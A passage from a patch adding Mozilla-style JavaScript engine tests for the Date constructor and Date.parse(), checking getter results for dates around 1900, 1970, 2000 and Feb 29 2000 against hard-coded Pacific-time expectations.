+ object is set to the original Date prototype object,
+ the one that is the initial valiue of Date.prototype.
+
+ The [[Class]] property of the newly constructed object is
+ set to "Date".
+
+ The [[Value]] property of the newly constructed object is
+ set as follows:
+
+ 1. Call ToPrimitive(value)
+ 2. If Type( Result(1) ) is String, then go to step 5.
+ 3. Let V be ToNumber( Result(1) ).
+ 4. Set the [[Value]] property of the newly constructed
+ object to TimeClip(V) and return.
+ 5. Parse Result(1) as a date, in exactly the same manner
+ as for the parse method. Let V be the time value for
+ this date.
+ 6. Go to step 4.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+ Version: 9706
+
+*/
+
+var VERSION = "ECMA_1";
+startTest();
+var SECTION = "15.9.3.8";
+var TYPEOF = "object";
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+
+// for TCMS, the gTestcases array must be global.
+var gTc= 0;
+var TITLE = "Date constructor: new Date( value )";
+var SECTION = "15.9.3.8";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION +" " + TITLE );
+
+// all the "ResultArrays" below are hard-coded to Pacific Standard Time values -
+var TZ_ADJUST = -TZ_PST * msPerHour;
+
+addNewTestCase( new Date((new Date(0)).toUTCString()),
+ "new Date(\""+ (new Date(0)).toUTCString()+"\" )",
+ [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] );
+
+addNewTestCase( new Date((new Date(1)).toString()),
+ "new Date(\""+ (new Date(1)).toString()+"\" )",
+ [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] );
+
+addNewTestCase( new Date( TZ_ADJUST ),
+ "new Date(" + TZ_ADJUST+")",
+ [TZ_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+addNewTestCase( new Date((new Date(TZ_ADJUST)).toString()),
+ "new Date(\""+ (new Date(TZ_ADJUST)).toString()+"\")",
+ [TZ_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+
+addNewTestCase( new Date( (new Date(TZ_ADJUST)).toUTCString() ),
+ "new Date(\""+ (new Date(TZ_ADJUST)).toUTCString()+"\")",
+ [TZ_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray, 'msMode');
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.8-3.js b/js/src/tests/ecma/Date/15.9.3.8-3.js
new file mode 100644
index 000000000..fc3ba43e7
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.8-3.js
@@ -0,0 +1,126 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.8.js
+ ECMA Section: 15.9.3.8 The Date Constructor
+ new Date( value )
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial valiue of Date.prototype.
+
+ The [[Class]] property of the newly constructed object is
+ set to "Date".
+
+ The [[Value]] property of the newly constructed object is
+ set as follows:
+
+ 1. Call ToPrimitive(value)
+ 2. If Type( Result(1) ) is String, then go to step 5.
+ 3. Let V be ToNumber( Result(1) ).
+ 4. Set the [[Value]] property of the newly constructed
+ object to TimeClip(V) and return.
+ 5. Parse Result(1) as a date, in exactly the same manner
+ as for the parse method. Let V be the time value for
+ this date.
+ 6. Go to step 4.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+ Version: 9706
+
+*/
+
+var VERSION = "ECMA_1";
+startTest();
+var SECTION = "15.9.3.8";
+var TYPEOF = "object";
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+
+// for TCMS, the gTestcases array must be global.
+var gTc= 0;
+var TITLE = "Date constructor: new Date( value )";
+var SECTION = "15.9.3.8";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION +" " + TITLE );
+
+// all the "ResultArrays" below are hard-coded to Pacific Standard Time values -
+var TZ_ADJUST = -TZ_PST * msPerHour;
+
+
+// Dates around 2000
+
+addNewTestCase( new Date(TIME_2000+TZ_ADJUST),
+ "new Date(" +(TIME_2000+TZ_ADJUST)+")",
+ [TIME_2000+TZ_ADJUST,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] );
+
+addNewTestCase( new Date(TIME_2000),
+ "new Date(" +TIME_2000+")",
+ [TIME_2000,2000,0,1,6,0,0,0,0,1999,11,31,5,16,0,0,0] );
+
+addNewTestCase( new Date( (new Date(TIME_2000+TZ_ADJUST)).toString()),
+ "new Date(\"" +(new Date(TIME_2000+TZ_ADJUST)).toString()+"\")",
+ [TIME_2000+TZ_ADJUST,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] );
+
+addNewTestCase( new Date((new Date(TIME_2000)).toString()),
+ "new Date(\"" +(new Date(TIME_2000)).toString()+"\")",
+ [TIME_2000,2000,0,1,6,0,0,0,0,1999,11,31,5,16,0,0,0] );
+
+
+addNewTestCase( new Date( (new Date(TIME_2000+TZ_ADJUST)).toUTCString()),
+ "new Date(\"" +(new Date(TIME_2000+TZ_ADJUST)).toUTCString()+"\")",
+ [TIME_2000+TZ_ADJUST,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] );
+
+addNewTestCase( new Date( (new Date(TIME_2000)).toUTCString()),
+ "new Date(\"" +(new Date(TIME_2000)).toUTCString()+"\")",
+ [TIME_2000,2000,0,1,6,0,0,0,0,1999,11,31,5,16,0,0,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray, 'msMode');
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.8-4.js b/js/src/tests/ecma/Date/15.9.3.8-4.js
new file mode 100644
index 000000000..f28c6b65a
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.8-4.js
@@ -0,0 +1,127 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.8.js
+ ECMA Section: 15.9.3.8 The Date Constructor
+ new Date( value )
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial valiue of Date.prototype.
+
+ The [[Class]] property of the newly constructed object is
+ set to "Date".
+
+ The [[Value]] property of the newly constructed object is
+ set as follows:
+
+ 1. Call ToPrimitive(value)
+ 2. If Type( Result(1) ) is String, then go to step 5.
+ 3. Let V be ToNumber( Result(1) ).
+ 4. Set the [[Value]] property of the newly constructed
+ object to TimeClip(V) and return.
+ 5. Parse Result(1) as a date, in exactly the same manner
+ as for the parse method. Let V be the time value for
+ this date.
+ 6. Go to step 4.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+ Version: 9706
+
+*/
+
+var VERSION = "ECMA_1";
+startTest();
+var SECTION = "15.9.3.8";
+var TYPEOF = "object";
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+
+// for TCMS, the gTestcases array must be global.
+var gTc= 0;
+var TITLE = "Date constructor: new Date( value )";
+var SECTION = "15.9.3.8";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION +" " + TITLE );
+
+// all the "ResultArrays" below are hard-coded to Pacific Standard Time values -
+var TZ_ADJUST = -TZ_PST * msPerHour;
+
+// Dates around Feb 29, 2000
+
+var PST_FEB_29_2000 = UTC_FEB_29_2000 + TZ_ADJUST;
+
+addNewTestCase( new Date(UTC_FEB_29_2000),
+ "new Date("+UTC_FEB_29_2000+")",
+ [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0] );
+
+addNewTestCase( new Date(PST_FEB_29_2000),
+ "new Date("+PST_FEB_29_2000+")",
+ [PST_FEB_29_2000,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] );
+
+addNewTestCase( new Date( (new Date(UTC_FEB_29_2000)).toString() ),
+ "new Date(\""+(new Date(UTC_FEB_29_2000)).toString()+"\")",
+ [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0] );
+
+addNewTestCase( new Date( (new Date(PST_FEB_29_2000)).toString() ),
+ "new Date(\""+(new Date(PST_FEB_29_2000)).toString()+"\")",
+ [PST_FEB_29_2000,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] );
+
+
+addNewTestCase( new Date( (new Date(UTC_FEB_29_2000)).toGMTString() ),
+ "new Date(\""+(new Date(UTC_FEB_29_2000)).toGMTString()+"\")",
+ [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0] );
+
+addNewTestCase( new Date( (new Date(PST_FEB_29_2000)).toGMTString() ),
+ "new Date(\""+(new Date(PST_FEB_29_2000)).toGMTString()+"\")",
+ [PST_FEB_29_2000,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray, 'msMode');
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.8-5.js b/js/src/tests/ecma/Date/15.9.3.8-5.js
new file mode 100644
index 000000000..126ccb3cb
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.8-5.js
@@ -0,0 +1,127 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.8.js
+ ECMA Section: 15.9.3.8 The Date Constructor
+ new Date( value )
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial valiue of Date.prototype.
+
+ The [[Class]] property of the newly constructed object is
+ set to "Date".
+
+ The [[Value]] property of the newly constructed object is
+ set as follows:
+
+ 1. Call ToPrimitive(value)
+ 2. If Type( Result(1) ) is String, then go to step 5.
+ 3. Let V be ToNumber( Result(1) ).
+ 4. Set the [[Value]] property of the newly constructed
+ object to TimeClip(V) and return.
+ 5. Parse Result(1) as a date, in exactly the same manner
+ as for the parse method. Let V be the time value for
+ this date.
+ 6. Go to step 4.
+
+ Author: christine@netscape.com
+ Date: 28 october 1997
+ Version: 9706
+
+*/
+
+var VERSION = "ECMA_1";
+startTest();
+var SECTION = "15.9.3.8";
+var TYPEOF = "object";
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+
+// for TCMS, the gTestcases array must be global.
+var gTc= 0;
+var TITLE = "Date constructor: new Date( value )";
+var SECTION = "15.9.3.8";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION +" " + TITLE );
+
+// all the "ResultArrays" below are hard-coded to Pacific Standard Time values -
+var TZ_ADJUST = -TZ_PST * msPerHour;
+
+
+// Dates around 1900
+
+var PST_1900 = TIME_1900 + 8*msPerHour;
+
+addNewTestCase( new Date( TIME_1900 ),
+ "new Date("+TIME_1900+")",
+ [TIME_1900,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] );
+
+addNewTestCase( new Date(PST_1900),
+ "new Date("+PST_1900+")",
+ [ PST_1900,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] );
+
+addNewTestCase( new Date( (new Date(TIME_1900)).toString() ),
+ "new Date(\""+(new Date(TIME_1900)).toString()+"\")",
+ [TIME_1900,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] );
+
+addNewTestCase( new Date( (new Date(PST_1900)).toString() ),
+ "new Date(\""+(new Date(PST_1900 )).toString()+"\")",
+ [ PST_1900,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] );
+
+addNewTestCase( new Date( (new Date(TIME_1900)).toUTCString() ),
+ "new Date(\""+(new Date(TIME_1900)).toUTCString()+"\")",
+ [TIME_1900,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] );
+
+addNewTestCase( new Date( (new Date(PST_1900)).toUTCString() ),
+ "new Date(\""+(new Date(PST_1900 )).toUTCString()+"\")",
+ [ PST_1900,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray, 'msMode');
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.4.2-1.js b/js/src/tests/ecma/Date/15.9.4.2-1.js
new file mode 100644
index 000000000..2ebd6725d
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.4.2-1.js
@@ -0,0 +1,48 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name:
+ * Reference: http://bugzilla.mozilla.org/show_bug.cgi?id=4088
+ * Description: Date parsing gets 12:30 AM wrong.
+ * New behavior:
+ * js> d = new Date('1/1/1999 13:30 AM')
+ * Invalid Date
+ * js> d = new Date('1/1/1999 13:30 PM')
+ * Invalid Date
+ * js> d = new Date('1/1/1999 12:30 AM')
+ * Fri Jan 01 00:30:00 GMT-0800 (PST) 1999
+ * js> d = new Date('1/1/1999 12:30 PM')
+ * Fri Jan 01 12:30:00 GMT-0800 (PST) 1999
+ * Author: christine@netscape.com
+ */
+
+var SECTION = "15.9.4.2-1"; // provide a document reference (ie, ECMA section)
+var VERSION = "ECMA"; // Version of JavaScript or ECMA
+var TITLE = "Regression Test for Date.parse"; // Provide ECMA section title or a description
+var BUGNUMBER = "http://bugzilla.mozilla.org/show_bug.cgi?id=4088"; // Provide URL to bugsplat or bugzilla report
+
+startTest(); // leave this alone
+
+AddTestCase( "new Date('1/1/1999 12:30 AM').toString()",
+ new Date(1999,0,1,0,30).toString(),
+ new Date('1/1/1999 12:30 AM').toString() );
+
+AddTestCase( "new Date('1/1/1999 12:30 PM').toString()",
+ new Date( 1999,0,1,12,30 ).toString(),
+ new Date('1/1/1999 12:30 PM').toString() );
+
+AddTestCase( "new Date('1/1/1999 13:30 AM')",
+ "Invalid Date",
+ new Date('1/1/1999 13:30 AM').toString() );
+
+
+AddTestCase( "new Date('1/1/1999 13:30 PM')",
+ "Invalid Date",
+ new Date('1/1/1999 13:30 PM').toString() );
+
+test(); // leave this alone. this executes the test cases and
+// displays results.
diff --git a/js/src/tests/ecma/Date/15.9.4.2.js b/js/src/tests/ecma/Date/15.9.4.2.js
new file mode 100644
index 000000000..883fa621d
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.4.2.js
@@ -0,0 +1,157 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.4.2.js
+ ECMA Section: 15.9.4.2 Date.parse()
+ Description: The parse() function applies the to ToString() operator
+ to its argument and interprets the resulting string as
+ a date. It returns a number, the UTC time value
+ corresponding to the date.
+
+ The string may be interpreted as a local time, a UTC
+ time, or a time in some other time zone, depending on
+ the contents of the string.
+
+ (need to test strings containing stuff with the time
+ zone specified, and verify that parse() returns the
+ correct GMT time)
+
+ so for any Date object x, all of these things should
+ be equal:
+
+ value tested in function:
+ x.valueOf() test_value()
+ Date.parse(x.toString()) test_tostring()
+ Date.parse(x.toGMTString()) test_togmt()
+
+ Date.parse(x.toLocaleString()) is not required to
+ produce the same number value as the preceding three
+ expressions. in general the value produced by
+ Date.parse is implementation dependent when given any
+ string value that could not be produced in that
+ implementation by the toString or toGMTString method.
+
+ value tested in function:
+ Date.parse( x.toLocaleString()) test_tolocale()
+
+ Author: christine@netscape.com
+ Date: 10 july 1997
+
+*/
+
+var VERSION = "ECMA_1";
+startTest();
+var SECTION = "15.9.4.2";
+var TITLE = "Date.parse()";
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+var TYPEOF = "object";
+
+// for TCMS, the gTestcases array must be global.
+writeHeaderToLog("15.9.4.2 Date.parse()" );
+
+// Dates around 1970
+
+addNewTestCase( new Date(0),
+ "new Date(0)",
+ [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] );
+
+addNewTestCase( new Date(-1),
+ "new Date(-1)",
+ [-1,1969,11,31,3,23,59,59,999,1969,11,31,3,15,59,59,999] );
+addNewTestCase( new Date(28799999),
+ "new Date(28799999)",
+ [28799999,1970,0,1,4,7,59,59,999,1969,11,31,3,23,59,59,999] );
+addNewTestCase( new Date(28800000),
+ "new Date(28800000)",
+ [28800000,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+// Dates around 2000
+
+addNewTestCase( new Date(946684799999),
+ "new Date(946684799999)",
+ [946684799999,1999,11,31,5,23,59,59,999,1999,11,31,5,15,59,59,999] );
+addNewTestCase( new Date(946713599999),
+ "new Date(946713599999)",
+ [946713599999,2000,0,1,6,7,59,59,999,1999,11,31,5,23,59,59,999] );
+addNewTestCase( new Date(946684800000),
+ "new Date(946684800000)",
+ [946684800000,2000,0,1,6,0,0,0,0,1999,11,31,5, 16,0,0,0] );
+addNewTestCase( new Date(946713600000),
+ "new Date(946713600000)",
+ [946713600000,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] );
+
+// Dates around 1900
+
+addNewTestCase( new Date(-2208988800000),
+ "new Date(-2208988800000)",
+ [-2208988800000,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] );
+
+addNewTestCase( new Date(-2208988800001),
+ "new Date(-2208988800001)",
+ [-2208988800001,1899,11,31,0,23,59,59,999,1899,11,31,0,15,59,59,999] );
+
+addNewTestCase( new Date(-2208960000001),
+ "new Date(-2208960000001)",
+ [-2208960000001,1900,0,1,1,7,59,59,0,1899,11,31,0,23,59,59,999] );
+addNewTestCase( new Date(-2208960000000),
+ "new Date(-2208960000000)",
+ [-2208960000000,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] );
+addNewTestCase( new Date(-2208959999999),
+ "new Date(-2208959999999)",
+ [-2208959999999,1900,0,1,1,8,0,0,1,1900,0,1,1,0,0,0,1] );
+
+// Dates around Feb 29, 2000
+
+var PST_FEB_29_2000 = UTC_FEB_29_2000 + 8*msPerHour;
+
+addNewTestCase( new Date(UTC_FEB_29_2000),
+ "new Date(" + UTC_FEB_29_2000 +")",
+ [UTC_FEB_29_2000,2000,0,1,6,0,0,0,0,1999,11,31,5,16,0,0,0] );
+addNewTestCase( new Date(PST_FEB_29_2000),
+ "new Date(" + PST_FEB_29_2000 +")",
+ [PST_FEB_29_2000,2000,0,1,6,8.0,0,0,2000,0,1,6,0,0,0,0]);
+
+// Dates around Jan 1 2005
+
+var PST_JAN_1_2005 = UTC_JAN_1_2005 + 8*msPerHour;
+
+addNewTestCase( new Date(UTC_JAN_1_2005),
+ "new Date("+ UTC_JAN_1_2005 +")",
+ [UTC_JAN_1_2005,2005,0,1,6,0,0,0,0,2004,11,31,5,16,0,0,0] );
+addNewTestCase( new Date(PST_JAN_1_2005),
+ "new Date("+ PST_JAN_1_2005 +")",
+ [PST_JAN_1_2005,2005,0,1,6,8,0,0,0,2005,0,1,6,0,0,0,0] );
+
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ DateCase = DateCase;
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+ new TestCase( SECTION, "Date.parse(" + DateCase.toString() +")", Math.floor(ResultArray[TIME]/1000)*1000, Date.parse(DateCase.toString()) );
